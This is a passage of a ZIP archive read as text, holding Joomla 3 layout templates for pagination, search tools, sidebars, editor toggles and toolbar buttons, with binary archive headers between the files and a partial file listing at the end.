// Check for "End" item
case JText::_('JLIB_HTML_END') :
$icon = 'icon-forward icon-last';
break;
default:
$icon = null;
break;
}
if ($icon !== null)
{
$display = '<span class="' . $icon .
'"></span>';
}
if ($displayData['active'])
{
if ($item->base > 0)
{
$limit = 'limitstart.value=' . $item->base;
}
else
{
$limit = 'limitstart.value=0';
}
$cssClasses = array();
$title = '';
if (!is_numeric($item->text))
{
JHtml::_('bootstrap.tooltip');
$cssClasses[] = 'hasTooltip';
$title = ' title="' . $item->text . '"
';
}
$onClick = 'document.adminForm.' . $item->prefix .
'limitstart.value=' . ($item->base > 0 ? $item->base :
'0') . '; Joomla.submitform();return false;';
}
else
{
$class = (property_exists($item, 'active') &&
$item->active) ? 'active' : 'disabled';
}
?>
<?php if ($displayData['active']) : ?>
<li>
<a <?php echo $cssClasses ? 'class="' .
implode(' ', $cssClasses) . '"' : '';
?> <?php echo $title; ?> href="#" onclick="<?php
echo $onClick; ?>">
<?php echo $display; ?>
</a>
</li>
<?php else : ?>
<li class="<?php echo $class; ?>">
<span><?php echo $display; ?></span>
</li>
<?php endif;
PK%>�[I���, , pagination/links.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$list = $displayData['list'];
$pages = $list['pages'];
$options = new Registry($displayData['options']);
$showLimitBox = $options->get('showLimitBox', true);
$showPagesLinks = $options->get('showPagesLinks', true);
$showLimitStart = $options->get('showLimitStart', true);
// Calculate to display range of pages
$currentPage = 1;
$range = 1;
$step = 5;
if (!empty($pages['pages']))
{
foreach ($pages['pages'] as $k => $page)
{
if (!$page['active'])
{
$currentPage = $k;
}
}
}
if ($currentPage >= $step)
{
if ($currentPage % $step === 0)
{
$range = ceil($currentPage / $step) + 1;
}
else
{
$range = ceil($currentPage / $step);
}
}
?>
<div class="pagination pagination-toolbar clearfix"
style="text-align: center;">
<?php if ($showLimitBox) : ?>
<div class="limit pull-right">
<?php echo JText::_('JGLOBAL_DISPLAY_NUM') .
$list['limitfield']; ?>
</div>
<?php endif; ?>
<?php if ($showPagesLinks && (!empty($pages))) : ?>
<ul class="pagination-list">
<?php
echo JLayoutHelper::render('joomla.pagination.link',
$pages['start']);
echo JLayoutHelper::render('joomla.pagination.link',
$pages['previous']); ?>
<?php foreach ($pages['pages'] as $k => $page) : ?>
<?php $output =
JLayoutHelper::render('joomla.pagination.link', $page); ?>
<?php if (in_array($k, range($range * $step - ($step + 1), $range *
$step), true)) : ?>
<?php if (($k % $step === 0 || $k === $range * $step - ($step + 1))
&& $k !== $currentPage && $k !== $range * $step - $step) :
?>
<?php $output =
preg_replace('#(<a.*?>).*?(</a>)#',
'$1...$2', $output); ?>
<?php endif; ?>
<?php endif; ?>
<?php echo $output; ?>
<?php endforeach; ?>
<?php
echo JLayoutHelper::render('joomla.pagination.link',
$pages['next']);
echo JLayoutHelper::render('joomla.pagination.link',
$pages['end']); ?>
</ul>
<?php endif; ?>
<?php if ($showLimitStart) : ?>
<input type="hidden" name="<?php echo
$list['prefix']; ?>limitstart" value="<?php echo
$list['limitstart']; ?>" />
<?php endif; ?>
</div>
PK%>�[�����pagination/list.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$list = $displayData['list'];
?>
<ul>
<li class="pagination-start"><?php echo
$list['start']['data']; ?></li>
<li class="pagination-prev"><?php echo
$list['previous']['data']; ?></li>
<?php foreach ($list['pages'] as $page) : ?>
<?php echo '<li>' . $page['data'] .
'</li>'; ?>
<?php endforeach; ?>
<li class="pagination-next"><?php echo
$list['next']['data']; ?></li>
<li class="pagination-end"><?php echo
$list['end']['data']; ?></li>
</ul>
PK%>�[�7x��quickicons/icon.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' : ('
id="' . $displayData['id'] . '"');
$target = empty($displayData['target']) ? '' : ('
target="' . $displayData['target'] .
'"');
$onclick = empty($displayData['onclick']) ? '' :
(' onclick="' . $displayData['onclick'] .
'"');
$title = empty($displayData['title']) ? '' : ('
title="' . $this->escape($displayData['title']) .
'"');
$text = empty($displayData['text']) ? '' :
('<span>' . $displayData['text'] .
'</span>')
?>
<div class="row-fluid"<?php echo $id; ?>>
<div class="span12">
<a href="<?php echo $displayData['link'];
?>"<?php echo $target . $onclick . $title; ?>>
<span class="icon-<?php echo $displayData['image'];
?>" aria-hidden="true"></span> <?php echo
$text; ?>
</a>
</div>
</div>
PK%>�[���>��searchtools/default/bar.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$data = $displayData;
// Receive overridable options
$data['options'] = !empty($data['options']) ?
$data['options'] : array();
if (is_array($data['options']))
{
$data['options'] = new Registry($data['options']);
}
// Options
$filterButton =
$data['options']->get('filterButton', true);
$searchButton =
$data['options']->get('searchButton', true);
$filters =
$data['view']->filterForm->getGroup('filter');
?>
<?php if (!empty($filters['filter_search'])) : ?>
<?php if ($searchButton) : ?>
<label for="filter_search"
class="element-invisible">
<?php if (isset($filters['filter_search']->label)) :
?>
<?php echo JText::_($filters['filter_search']->label);
?>
<?php else : ?>
<?php echo JText::_('JSEARCH_FILTER'); ?>
<?php endif; ?>
</label>
<div class="btn-wrapper input-append">
<?php echo $filters['filter_search']->input; ?>
<?php if ($filters['filter_search']->description) :
?>
<?php JHtml::_('bootstrap.tooltip',
'#filter_search', array('title' =>
JText::_($filters['filter_search']->description))); ?>
<?php endif; ?>
<button type="submit" class="btn hasTooltip"
title="<?php echo JHtml::_('tooltipText',
'JSEARCH_FILTER_SUBMIT'); ?>" aria-label="<?php
echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>">
<span class="icon-search"
aria-hidden="true"></span>
</button>
</div>
<?php if ($filterButton) : ?>
<div class="btn-wrapper hidden-phone">
<button type="button" class="btn hasTooltip
js-stools-btn-filter" title="<?php echo
JHtml::_('tooltipText', 'JSEARCH_TOOLS_DESC');
?>">
<?php echo JText::_('JSEARCH_TOOLS');?> <span
class="caret"></span>
</button>
</div>
<?php endif; ?>
<div class="btn-wrapper">
<button type="button" class="btn hasTooltip
js-stools-btn-clear" title="<?php echo
JHtml::_('tooltipText', 'JSEARCH_FILTER_CLEAR');
?>">
<?php echo JText::_('JSEARCH_FILTER_CLEAR');?>
</button>
</div>
<?php endif; ?>
<?php endif;
PK%>�[7���searchtools/default/filters.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
// Load the form filters
$filters =
$data['view']->filterForm->getGroup('filter');
?>
<?php if ($filters) : ?>
<?php foreach ($filters as $fieldName => $field) : ?>
<?php if ($fieldName !== 'filter_search') : ?>
<?php $dataShowOn = ''; ?>
<?php if ($field->showon) : ?>
<?php JHtml::_('jquery.framework'); ?>
<?php JHtml::_('script', 'jui/cms.js',
array('version' => 'auto', 'relative'
=> true)); ?>
<?php $dataShowOn = " data-showon='" .
json_encode(JFormHelper::parseShowOnConditions($field->showon,
$field->formControl, $field->group)) . "'"; ?>
<?php endif; ?>
<div class="js-stools-field-filter"<?php echo
$dataShowOn; ?>>
<?php echo $field->input; ?>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php endif; ?>
PK%>�[ɧ�kksearchtools/default/list.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
// Load the form list fields
$list =
$data['view']->filterForm->getGroup('list');
?>
<?php if ($list) : ?>
<div class="ordering-select hidden-phone">
<?php foreach ($list as $fieldName => $field) : ?>
<div class="js-stools-field-list">
<?php echo $field->input; ?>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
PK%>�[�A�V��searchtools/default/noitems.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
?>
<div class="alert alert-info alert-no-items">
<?php echo $data['options']['noResultsText']; ?>
</div>
PK&>�[�1�o��
searchtools/default/selector.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
?>
<div class="js-stools-field-selector">
<?php echo
$data['view']->filterForm->getField($data['options']['selectorFieldName'])->input;
?>
</div>
PK&>�[�
���searchtools/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
// Receive overridable options
$data['options'] = !empty($data['options']) ?
$data['options'] : array();
$noResultsText = '';
$hideActiveFilters = false;
$showFilterButton = false;
$showSelector = false;
$selectorFieldName =
isset($data['options']['selectorFieldName']) ?
$data['options']['selectorFieldName'] :
'client_id';
// If a filter form exists.
if (isset($data['view']->filterForm) &&
!empty($data['view']->filterForm))
{
// Checks if a selector (e.g. client_id) exists.
if ($selectorField =
$data['view']->filterForm->getField($selectorFieldName))
{
$showSelector = $selectorField->getAttribute('filtermode',
'') == 'selector' ? true : $showSelector;
// Checks if a selector should be shown in the current layout.
if (isset($data['view']->layout))
{
$showSelector = $selectorField->getAttribute('layout',
'default') != $data['view']->layout ? false :
$showSelector;
}
// Unset the selector field from active filters group.
unset($data['view']->activeFilters[$selectorFieldName]);
}
// Checks if the filters button should exist.
$filters =
$data['view']->filterForm->getGroup('filter');
$showFilterButton = isset($filters['filter_search']) &&
count($filters) === 1 ? false : true;
// Checks if it should show the be hidden.
$hideActiveFilters = empty($data['view']->activeFilters);
// Check if the no results message should appear.
if (isset($data['view']->total) && (int)
$data['view']->total === 0)
{
$noResults =
$data['view']->filterForm->getFieldAttribute('search',
'noresults', '', 'filter');
if (!empty($noResults))
{
$noResultsText = JText::_($noResults);
}
}
}
// Set some basic options.
$customOptions = array(
'filtersHidden' =>
isset($data['options']['filtersHidden']) &&
$data['options']['filtersHidden'] ?
$data['options']['filtersHidden'] : $hideActiveFilters,
'filterButton' =>
isset($data['options']['filterButton']) &&
$data['options']['filterButton'] ?
$data['options']['filterButton'] : $showFilterButton,
'defaultLimit' =>
isset($data['options']['defaultLimit']) ?
$data['options']['defaultLimit'] :
JFactory::getApplication()->get('list_limit', 20),
'searchFieldSelector' => '#filter_search',
'selectorFieldName' => $selectorFieldName,
'showSelector' => $showSelector,
'orderFieldSelector' => '#list_fullordering',
'showNoResults' => !empty($noResultsText) ? true :
false,
'noResultsText' => !empty($noResultsText) ?
$noResultsText : '',
'formSelector' =>
!empty($data['options']['formSelector']) ?
$data['options']['formSelector'] :
'#adminForm',
);
// Merge custom options in the options array.
$data['options'] = array_merge($customOptions,
$data['options']);
// Add class to hide the active filters if needed.
$filtersActiveClass = $hideActiveFilters ? '' : '
js-stools-container-filters-visible';
// Load search tools
JHtml::_('searchtools.form',
$data['options']['formSelector'],
$data['options']);
?>
<div class="js-stools clearfix">
<div class="clearfix">
<?php if ($data['options']['showSelector']) :
?>
<div class="js-stools-container-selector">
<?php echo $this->sublayout('selector', $data); ?>
</div>
<?php endif; ?>
<div class="js-stools-container-bar">
<?php echo $this->sublayout('bar', $data); ?>
</div>
<div class="js-stools-container-list hidden-phone
hidden-tablet">
<?php echo $this->sublayout('list', $data); ?>
</div>
</div>
<!-- Filters div -->
<?php if ($data['options']['filterButton']) : ?>
<div class="js-stools-container-filters hidden-phone
clearfix<?php echo $filtersActiveClass; ?>">
<?php echo $this->sublayout('filters', $data); ?>
</div>
<?php endif; ?>
</div>
<?php if ($data['options']['showNoResults']) : ?>
<?php echo $this->sublayout('noitems', $data); ?>
<?php endif; ?>
PK&>�[�
55searchtools/grid/sort.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
$title = htmlspecialchars(JText::_($data->tip ?: $data->title));
JHtml::_('bootstrap.popover');
?>
<a href="#" onclick="return false;"
class="js-stools-column-order hasPopover"
data-order="<?php echo $data->order; ?>"
data-direction="<?php echo strtoupper($data->direction);
?>" data-name="<?php echo JText::_($data->title);
?>"
title="<?php echo $title; ?>"
data-content="<?php echo
htmlspecialchars(JText::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN'));
?>" data-placement="top">
<?php if (!empty($data->icon)) : ?><span class="<?php
echo $data->icon; ?>"></span><?php endif; ?>
<?php if (!empty($data->title)) : ?><?php echo
JText::_($data->title); ?><?php endif; ?>
<?php if ($data->order == $data->selected) : ?><span
class="<?php echo $data->orderIcon;
?>"></span><?php endif; ?>
</a>
PK&>�[o>�e e sidebars/submenu.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('jquery.framework');
JHtml::_('behavior.core');
JFactory::getDocument()->addScriptDeclaration('
jQuery(document).ready(function($)
{
if (window.toggleSidebar)
{
toggleSidebar(true);
}
else
{
$("#j-toggle-sidebar-header").css("display",
"none");
$("#j-toggle-button-wrapper").css("display",
"none");
}
});
');
?>
<div id="j-toggle-sidebar-wrapper">
<div id="j-toggle-button-wrapper"
class="j-toggle-button-wrapper">
<?php echo JLayoutHelper::render('joomla.sidebars.toggle');
?>
</div>
<div id="sidebar" class="sidebar">
<div class="sidebar-nav">
<?php if ($displayData->displayMenu) : ?>
<ul id="submenu" class="nav nav-list">
<?php foreach ($displayData->list as $item) :
if (isset ($item[2]) && $item[2] == 1) : ?>
<li class="active">
<?php else : ?>
<li>
<?php endif;
if ($displayData->hide) : ?>
<a class="nolink"><?php echo $item[0];
?></a>
<?php else :
if ($item[1] !== '') : ?>
<a href="<?php echo JFilterOutput::ampReplace($item[1]);
?>"><?php echo $item[0]; ?></a>
<?php else : ?>
<?php echo $item[0]; ?>
<?php endif;
endif; ?>
</li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
<?php if ($displayData->displayMenu &&
$displayData->displayFilters) : ?>
<hr />
<?php endif; ?>
<?php if ($displayData->displayFilters) : ?>
<div class="filter-select hidden-phone">
<h4 class="page-header"><?php echo
JText::_('JSEARCH_FILTER_LABEL'); ?></h4>
<?php foreach ($displayData->filters as $filter) : ?>
<label for="<?php echo $filter['name'];
?>" class="element-invisible"><?php echo
$filter['label']; ?></label>
<select name="<?php echo $filter['name'];
?>" id="<?php echo $filter['name']; ?>"
class="span12 small" onchange="this.form.submit()">
<?php if (!$filter['noDefault']) : ?>
<option value=""><?php echo
$filter['label']; ?></option>
<?php endif; ?>
<?php echo $filter['options']; ?>
</select>
<hr class="hr-condensed" />
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
</div>
<div id="j-toggle-sidebar"></div>
</div>
PK&>�[ɰ�lZZsidebars/toggle.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Set the tooltips
JText::script('JTOGGLE_HIDE_SIDEBAR');
JText::script('JTOGGLE_SHOW_SIDEBAR');
?>
<div
id="j-toggle-sidebar-button"
class="j-toggle-sidebar-button hidden-phone hasTooltip"
onclick="toggleSidebar(false); return false;"
>
<span id="j-toggle-sidebar-icon"
class="icon-arrow-left-2"
aria-hidden="true"></span>
</div>
PK&>�[V�k;system/message.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$msgList = $displayData['msgList'];
?>
<div id="system-message-container">
<?php if (is_array($msgList) && !empty($msgList)) : ?>
<div id="system-message">
<?php foreach ($msgList as $type => $msgs) : ?>
<div class="alert alert-<?php echo $type; ?>">
<?php // This requires JS so we should add it through JS.
Progressive enhancement and stuff. ?>
<a class="close"
data-dismiss="alert">×</a>
<?php if (!empty($msgs)) : ?>
<h4 class="alert-heading"><?php echo
JText::_($type); ?></h4>
<div>
<?php foreach ($msgs as $msg) : ?>
<div class="alert-message"><?php echo $msg;
?></div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
PK&>�[��Y9��tinymce/buttons/button.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.tinymce.buttons.button is deprecated, use
joomla.editors.buttons.button instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.editors.buttons.button',
$displayData);
PK&>�[
��tinymce/buttons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.tinymce.buttons is deprecated, use
joomla.editors.buttons instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.editors.buttons',
$displayData);
PK&>�[�
9���tinymce/textarea.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
?>
<textarea
name="<?php echo $data->name; ?>"
id="<?php echo $data->id; ?>"
cols="<?php echo $data->cols; ?>"
rows="<?php echo $data->rows; ?>"
style="width: <?php echo $data->width; ?>; height: <?php
echo $data->height; ?>;"
class="<?php echo empty($data->class) ?
'mce_editable' : $data->class; ?>"
<?php echo $data->readonly ? ' readonly disabled' :
''; ?>
>
<?php echo $data->content; ?>
</textarea>PK&>�[���tinymce/togglebutton.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$name = $displayData;
?>
<div class="toggle-editor btn-toolbar pull-right clearfix">
<div class="btn-group">
<a class="btn" href="#"
onclick="tinyMCE.execCommand('mceToggleEditor', false,
'<?php echo $name; ?>');return false;"
title="<?php echo
JText::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?>"
>
<span class="icon-eye"
aria-hidden="true"></span> <?php echo
JText::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?>
</a>
</div>
</div>PK&>�[nN��uutoolbar/base.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="btn-wrapper" <?php echo
$displayData['id']; ?>>
<?php echo $displayData['action']; ?>
</div>
PK&>�[&ZXtoolbar/batch.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$title = $displayData['title'];
JText::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
$message =
"alert(Joomla.JText._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'));";
?>
<button type="button" data-toggle="modal"
onclick="if (document.adminForm.boxchecked.value==0){<?php echo
$message; ?>}else{jQuery( '#collapseModal'
).modal('show'); return true;}" class="btn
btn-small">
<span class="icon-checkbox-partial"
aria-hidden="true"></span>
<?php echo $title; ?>
</button>
PK&>�[�K��++toolbar/confirm.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
?>
<button onclick="<?php echo $doTask; ?>" class="btn
btn-small">
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK&>�[Ձ&toolbar/containerclose.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
PK&>�[l�+��toolbar/containeropen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="btn-toolbar" role="toolbar"
aria-label="<?php echo JText::_('JTOOLBAR'); ?>"
id="<?php echo $displayData['id']; ?>">
PK&>�[n�Ktoolbar/help.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$text = $displayData['text'];
?>
<button onclick="<?php echo $doTask; ?>"
rel="help" class="btn btn-small">
<span class="icon-question-sign"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK&>�[�)K44toolbar/iconclass.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
icon-<?php echo $displayData['icon']; ?>
PK&>�[zs8Y toolbar/link.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
?>
<button onclick="location.href='<?php echo $doTask;
?>';" class="btn btn-small">
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK&>�[��i���toolbar/modal.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
/**
* Generic toolbar button layout to open a modal
* -----------------------------------------------
* @param array $displayData Button parameters. Default supported
parameters:
* - selector string Unique DOM
identifier for the modal. CSS id without #
* - class string Button class
* - icon string Button icon
* - text string Button text
*/
$selector = $displayData['selector'];
$class = isset($displayData['class']) ?
$displayData['class'] : 'btn btn-small';
$icon = isset($displayData['icon']) ?
$displayData['icon'] : 'out-3';
$text = isset($displayData['text']) ?
$displayData['text'] : '';
?>
<button class="<?php echo $class; ?>"
data-toggle="modal" data-target="#<?php echo $selector;
?>">
<span class="icon-<?php echo $icon; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK&>�[���toolbar/popup.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
$name = $displayData['name'];
?>
<button value="<?php echo $doTask; ?>" class="btn
btn-small modal" data-toggle="modal"
data-target="#modal-<?php echo $name; ?>">
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK&>�[V�toolbar/separator.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
PK&>�[4��L��toolbar/slider.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
$name = $displayData['name'];
$onClose = $displayData['onClose'];
?>
<button onclick="<?php echo $doTask; ?>" class="btn
btn-small" data-toggle="collapse"
data-target="#collapse-<?php echo $name; ?>"<?php echo
$onClose; ?>>
<span class="icon-cog"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK&>�[���hhtoolbar/standard.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
$btnClass = $displayData['btnClass'];
?>
<button onclick="<?php echo $doTask; ?>"
class="<?php echo $btnClass; ?>">
<span class="<?php echo trim($class); ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK&>�[W��7��toolbar/title.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$icon = empty($displayData['icon']) ? 'generic' :
preg_replace('#\.[^ .]*$#', '',
$displayData['icon']);
?>
<h1 class="page-title">
<span class="icon-<?php echo $icon; ?>"
aria-hidden="true"></span>
<?php echo $displayData['title']; ?>
</h1>
PK&>�[Vʖ�toolbar/versions.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.framework');
?>
<a rel="{handler: 'iframe', size: {x: <?php echo
$displayData['height']; ?>, y: <?php echo
$displayData['width']; ?>}}"
href="index.php?option=com_contenthistory&view=history&layout=modal&tmpl=component&item_id=<?php
echo (int) $displayData['itemId']; ?>&type_id=<?php
echo $displayData['typeId']; ?>&type_alias=<?php
echo $displayData['typeAlias']; ?>&<?php echo
JSession::getFormToken(); ?>=1"
title="<?php echo $displayData['title']; ?>"
class="btn btn-small modal_jform_contenthistory">
<span class="icon-archive"
aria-hidden="true"></span> <?php echo
$displayData['title']; ?>
</a>
PKGn�[�@�y77application/web/router/base.phpnu�[���PKGn�[�����application/web/router/rest.phpnu�[���PKGn�[f)�tt�
application/web/router.phpnu�[���PKGn�[ʭ����0archive/archive.phpnu�[���PKGn�[
�M��8archive/bzip2.phpnu�[���PKGn�[����Garchive/extractable.phpnu�[���PKGn�[��{��Larchive/gzip.phpnu�[���PKGn�[_����Kaarchive/tar.phpnu�[���PKGn�[�6___Lzarchive/wrapper/archive.phpnu�[���PKGn�[�RX.�A�A�archive/zip.phpnu�[���PKGn�[\#?ō��base/adapter.phpnu�[���PKGn�[���"ll��base/adapterinstance.phpnu�[���PKHn�[h1*�q
q
